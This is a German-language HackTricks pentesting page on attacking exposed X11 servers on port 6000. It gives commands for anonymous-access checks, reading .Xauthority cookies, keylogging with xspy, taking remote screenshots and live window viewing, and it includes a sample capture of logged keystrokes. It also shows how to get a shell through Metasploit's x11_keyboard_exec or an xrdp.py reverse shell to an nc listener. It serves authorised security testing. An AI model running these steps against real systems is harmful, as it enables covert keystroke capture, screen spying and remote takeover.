6000 - Pentesting X11

Support HackTricks

Treten Sie dem HackenProof Discord Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!

Hacking Einblicke Engagieren Sie sich mit Inhalten, die in den Nervenkitzel und die Herausforderungen des Hackens eintauchen

Echtzeit-Hack-Nachrichten Bleiben Sie auf dem Laufenden über die schnelllebige Hacking-Welt durch Echtzeitnachrichten und Einblicke

Neueste Ankündigungen Bleiben Sie informiert über die neuesten Bug-Bounties und wichtige Plattform-Updates

Treten Sie uns auf Discord bei und beginnen Sie noch heute mit den besten Hackern zusammenzuarbeiten!

Grundinformationen

X Window System (X) ist ein vielseitiges Fenstersystem, das auf UNIX-basierten Betriebssystemen verbreitet ist. Es bietet einen Rahmen zur Erstellung grafischer Benutzeroberflächen (GUIs), wobei einzelne Programme das Design der Benutzeroberfläche übernehmen. Diese Flexibilität ermöglicht vielfältige und anpassbare Erfahrungen innerhalb der X-Umgebung.

Standardport: 6000

PORT       STATE   SERVICE
6000/tcp   open    X11

Enumeration

Überprüfen Sie auf anonyme Verbindung:

nmap -sV --script x11-access -p <PORT> <IP>
msf> use auxiliary/scanner/x11/open_x11

Lokale Aufzählung

Die Datei .Xauthority im Home-Verzeichnis des Benutzers wird von X11 zur Autorisierung verwendet. Von hier:

$ xxd ~/.Xauthority
00000000: 0100 0006 6d61 6e65 7063 0001 3000 124d  ............0..M
00000010: 4954 2d4d 4147 4943 2d43 4f4f 4b49 452d  IT-MAGIC-COOKIE-
00000020: 3100 108f 52b9 7ea8 f041 c49b 85d8 8f58  1...R.~..A.....X
00000030: 041d ef                                  ...

MIT-magic-cookie-1: Generierung von 128 Bit Schlüssel (“cookie”), Speicherung in ~/.Xauthority (oder wo die XAUTHORITY-Umgebungsvariable zeigt). Der Client sendet ihn unverschlüsselt an den Server! Der Server überprüft, ob er eine Kopie dieses “cookie” hat, und wenn ja, wird die Verbindung erlaubt. Der Schlüssel wird von DMX generiert.

Um den cookie zu verwenden, sollten Sie die Umgebungsvariable setzen: export XAUTHORITY=/path/to/.Xauthority

Lokale Aufzählungssitzung

$ w
23:50:48 up 1 day, 10:32,  1 user,  load average: 0.29, 6.48, 7.12
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
user     tty7     :0               13Oct23 76days 13:37   2.20s xfce4-session

Im Beispiel lief localhost:0 mit xfce4-session.

Verbindung Überprüfen

xdpyinfo -display <ip>:<display>
xwininfo -root -tree -display <IP>:<display> #Ex: xwininfo -root -tree -display 10.5.5.12:0

Keyloggin

xspy zum Abfangen der Tastatureingaben.

Sample Output:

xspy 10.9.xx.xx

opened 10.9.xx.xx:0 for snoopng
swaBackSpaceCaps_Lock josephtTabcBackSpaceShift_L workShift_L 2123
qsaminusKP_Down KP_Begin KP_Down KP_Left KP_Insert TabRightLeftRightDeletebTabDownnTabKP_End KP_Right KP_Up KP_Down KP_Up KP_Up TabmtminusdBackSpacewinTab

Screenshots erfassen

xwd -root -screen -silent -display <TargetIP:0> > screenshot.xwd
convert screenshot.xwd screenshot.png

Remote Desktop View

Weg von: https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref

./xrdp.py <IP:0>

Way from: https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html

Zuerst müssen wir die ID des Fensters mit xwininfo finden.

xwininfo -root -display 10.9.xx.xx:0

xwininfo: Window id: 0x45 (the root window) (has no name)

Absolute upper-left X:  0
Absolute upper-left Y:  0
Relative upper-left X:  0
Relative upper-left Y:  0
Width: 1024
Height: 768
Depth: 16
Visual: 0x21
Visual Class: TrueColor
Border width: 0
Class: InputOutput
Colormap: 0x20 (installed)
Bit Gravity State: ForgetGravity
Window Gravity State: NorthWestGravity
Backing Store State: NotUseful
Save Under State: no
Map State: IsViewable
Override Redirect State: no
Corners:  +0+0  -0+0  -0-0  +0-0
-geometry 1024x768+0+0

XWatchwin

Für Live-Ansicht müssen wir verwenden

./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } -w window Id is the one found on xwininfo
./xwatchwin 10.9.xx.xx:0 -w 0x45

Shell erhalten

msf> use exploit/unix/x11/x11_keyboard_exec

Reverse Shell: Xrdp ermöglicht auch das Erstellen einer Reverse Shell über Netcat. Geben Sie den folgenden Befehl ein:

./xrdp.py \<IP:0> –no-disp

In der Benutzeroberfläche sehen Sie die R-shell-Option.

Starten Sie dann einen Netcat-Listener auf Ihrem lokalen System auf Port 5555.

nc -lvp 5555

Dann geben Sie Ihre IP-Adresse und den Port in die R-Shell-Option ein und klicken Sie auf R-shell, um eine Shell zu erhalten.

Referenzen

Shodan

  • port:6000 x11

Treten Sie dem HackenProof Discord Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!

Hacking Einblicke Engagieren Sie sich mit Inhalten, die in die Aufregung und Herausforderungen des Hackens eintauchen

Echtzeit-Hack-Nachrichten Bleiben Sie auf dem Laufenden über die schnelllebige Welt des Hackens durch Echtzeitnachrichten und Einblicke

Neueste Ankündigungen Bleiben Sie informiert über die neuesten Bug-Bounties und wichtige Plattform-Updates

Treten Sie uns bei Discord und beginnen Sie noch heute mit den besten Hackern zusammenzuarbeiten!

Unterstützen Sie HackTricks

Last updated